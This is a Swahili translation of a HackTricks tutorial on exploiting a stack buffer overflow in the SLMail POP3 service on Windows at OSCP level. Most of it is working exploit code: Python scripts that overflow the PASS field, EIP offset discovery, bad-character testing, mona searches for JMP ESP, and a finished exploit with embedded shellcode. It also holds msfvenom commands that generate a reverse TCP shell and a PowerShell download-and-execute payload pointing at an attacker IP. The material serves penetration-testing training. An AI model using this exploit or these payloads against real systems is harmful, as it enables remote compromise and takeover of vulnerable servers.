hacktricks/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md

# Kudukua Windows (Mwongozo wa Msingi - kiwango cha OSCP)

<details>

<summary><strong>Jifunze kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>

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* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.

</details>

## **Anza kufunga huduma ya SLMail**

## Anza upya huduma ya SLMail

Kila wakati unahitaji **kuanzisha upya huduma ya SLMail** unaweza kufanya hivyo ukitumia konsoli ya windows:
```
net start slmail
```
![](<../.gitbook/assets/image (988).png>)

## Kigezo cha kudukua cha python cha msingi
```python
#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110

buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
## **Badilisha Font ya Immunity Debugger**

Nenda kwa `Chaguo >> Muonekano >> Fonti >> Badilisha(Consolas, Blod, 9) >> Sawa`

## **Ambatanisha mchakato kwa Immunity Debugger:**

**Faili --> Ambatanisha**

![](<../.gitbook/assets/image (869).png>)

**Na bonyeza kitufe cha KUANZA**

## **Tuma shambulio na angalia ikiwa EIP imeathiriwa:**

![](<../.gitbook/assets/image (906).png>)

Kila wakati unapovunja huduma unapaswa kuizindua upya kama ilivyoelezwa mwanzoni mwa ukurasa huu.

## Unda mfano wa kubadilisha EIP

Mfano huo unapaswa kuwa mkubwa kama kikasha ulichotumia kuvunja huduma hapo awali.

![](<../.gitbook/assets/image (420).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
Badilisha buffer ya shambulio na weka mfano na anzisha shambulio.

Mzozo mpya unapaswa kuonekana, lakini na anwani tofauti ya EIP:

![](<../.gitbook/assets/image (636).png>)

Angalia ikiwa anwani ilikuwa kwenye mfano wako:

![](<../.gitbook/assets/image (418).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
Inaonekana **tunaweza kubadilisha EIP katika offset 2606** ya buffer.

Angalia kwa kubadilisha buffer ya exploit:
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
Na huu buffer EIP iliyovurugika inapaswa kuashiria 42424242 ("BBBB")

![](<../.gitbook/assets/image (874).png>)

![](<../.gitbook/assets/image (92).png>)

Inaonekana kama inafanya kazi.

## Angalia nafasi ya Shellcode ndani ya stack

600B inapaswa kuwa ya kutosha kwa shellcode yenye nguvu yoyote.

Hebu badilisha buffer:
```
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
```sw
zindua shambulio jipya na angalia EBP na urefu wa shellcode inayoweza kutumika

![](<../.gitbook/assets/image (119).png>)

![](<../.gitbook/assets/image (879).png>)

Unaweza kuona kwamba unapofikia udhaifu, EBP inaelekeza kwa shellcode na kwamba tuna nafasi nyingi ya kutambua shellcode hapa.

Katika kesi hii tuna **kutoka 0x0209A128 hadi 0x0209A2D6 = 430B.** Ya kutosha.

## Angalia herufi mbaya

Badilisha tena buffer:
```
```
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
Badchars huanza katika 0x01 kwa sababu 0x00 ni mbaya mara nyingi.

Tekeleza mara kwa mara shambulio na hifadhi mpya ikiondoa herufi ambazo zinaonekana kutokuwa na maana:.

Kwa mfano:

Katika kesi hii unaweza kuona kwamba **usitumie kamwe herufi 0x0A** (hakuna kitu kinachohifadhiwa kumbukani tangu herufi 0x09).

![](<../.gitbook/assets/image (111).png>)

Katika kesi hii unaweza kuona kwamba **herufi 0x0D inapuuzwa**:

![](<../.gitbook/assets/image (1098).png>)

## Tafuta JMP ESP kama anwani ya kurudi

Kutumia:
```
!mona modules    #Get protections, look for all false except last one (Dll of SO)
```
Utaweka **ramani za kumbukumbu**. Tafuta baadhi ya DLl ambazo zina:

* **Rebase: False**
* **SafeSEH: False**
* **ASLR: False**
* **NXCompat: False**
* **OS Dll: True**

![](<../.gitbook/assets/image (555).png>)

Sasa, ndani ya kumbukumbu hii unapaswa kupata baadhi ya herufi za JMP ESP, ili kufanya hivyo tekeleza:
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
**Kisha, ikiwa anwani fulani imepatikana, chagua ile ambayo haina herufi mbaya yoyote:**

![](<../.gitbook/assets/image (605).png>)

**Katika kesi hii, kwa mfano: \_0x5f4a358f**\_ 

## Unda shellcode
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
Ikiwa shambulio halifanyi kazi lakini linapaswa (unaweza kuona na ImDebg kwamba shellcode imewezeshwa), jaribu kuunda shellcodes nyingine (msfvenom itaunda shellcodes tofauti kwa vigezo sawa).

**Ongeza NOPS kadhaa mwanzoni** mwa shellcode na itumie na anwani ya kurudi kwa JMP ESP, na kamilisha shambulio:
```bash
#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110

shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)

buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
{% hint style="warning" %}
Kuna shellcodes ambazo zitajibadilisha wenyewe, hivyo ni muhimu kuongeza NOPs kabla ya shellcode
{% endhint %}

## Kuboresha shellcode

Ongeza vigezo hivi:
```bash
EXITFUNC=thread -e x86/shikata_ga_nai
```
<details>

<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>

Njia nyingine za kusaidia HackTricks:

* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.

</details>